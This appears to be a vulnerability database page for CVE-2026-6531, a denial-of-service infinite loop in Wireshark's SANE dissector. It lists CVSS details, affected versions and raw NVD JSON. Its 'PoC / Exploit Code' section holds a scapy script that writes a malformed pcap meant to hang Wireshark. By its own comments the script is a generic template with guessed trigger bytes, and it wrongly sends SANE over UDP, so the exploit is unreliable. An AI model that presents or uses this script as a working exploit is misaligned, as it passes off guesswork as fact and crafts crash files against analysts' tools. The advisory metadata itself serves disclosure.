Security Vulnerability Report
中文
CVE-2026-6531 CVSS 5.5 MEDIUM

CVE-2026-6531

Published: 2026-04-30 07:16:40
Last Modified: 2026-05-01 18:16:54

Description

SANE protocol dissector infinite loop in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
Wireshark 4.4.0 至 4.4.14
Wireshark 4.6.0 至 4.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-6531 (Wireshark SANE Dissector Infinite Loop) # This script generates a malformed packet that may trigger the infinite loop. # Requires scapy: pip install scapy from scapy.all import * def generate_malformed_pcap(filename): # Construct a raw packet intended for the SANE protocol (port 6566) # Note: Specific payload bytes to trigger the loop depend on the bug details. # This is a generic template for a SANE packet structure. # SANE Net Protocol typically starts with a version word and opcode. # We inject a crafted payload here. malformed_payload = b"\x00\x00\x00\x01" # Example version malformed_payload += b"\xFF\xFF\xFF\xFF" # Invalid opcode/length causing loop # Create a packet using IP and UDP (SANE can run over TCP/UDP) pkt = IP(dst="127.0.0.1")/UDP(dport=6566, sport=12345)/Raw(load=malformed_payload) # Save to pcap file wrpcap(filename, pkt) print(f"[+] Malformed pcap file saved as: {filename}") print(f"[+] Open this file in a vulnerable version of Wireshark to reproduce the issue.") if __name__ == "__main__": generate_malformed_pcap("cve_2026_6531_poc.pcap")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6531", "sourceIdentifier": "[email protected]", "published": "2026-04-30T07:16:40.373", "lastModified": "2026-05-01T18:16:54.217", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SANE protocol dissector infinite loop in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndIncluding": "4.4.14", "matchCriteriaId": "77CF79F1-B53C-40A7-9570-A192D5A85ED6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndIncluding": "4.6.4", "matchCriteriaId": "B52139AE-161F-406A-B28D-F874CE8B68B6"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/issues/21139", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-30.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://gitlab.com/wireshark/wireshark/-/work_items/21139", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}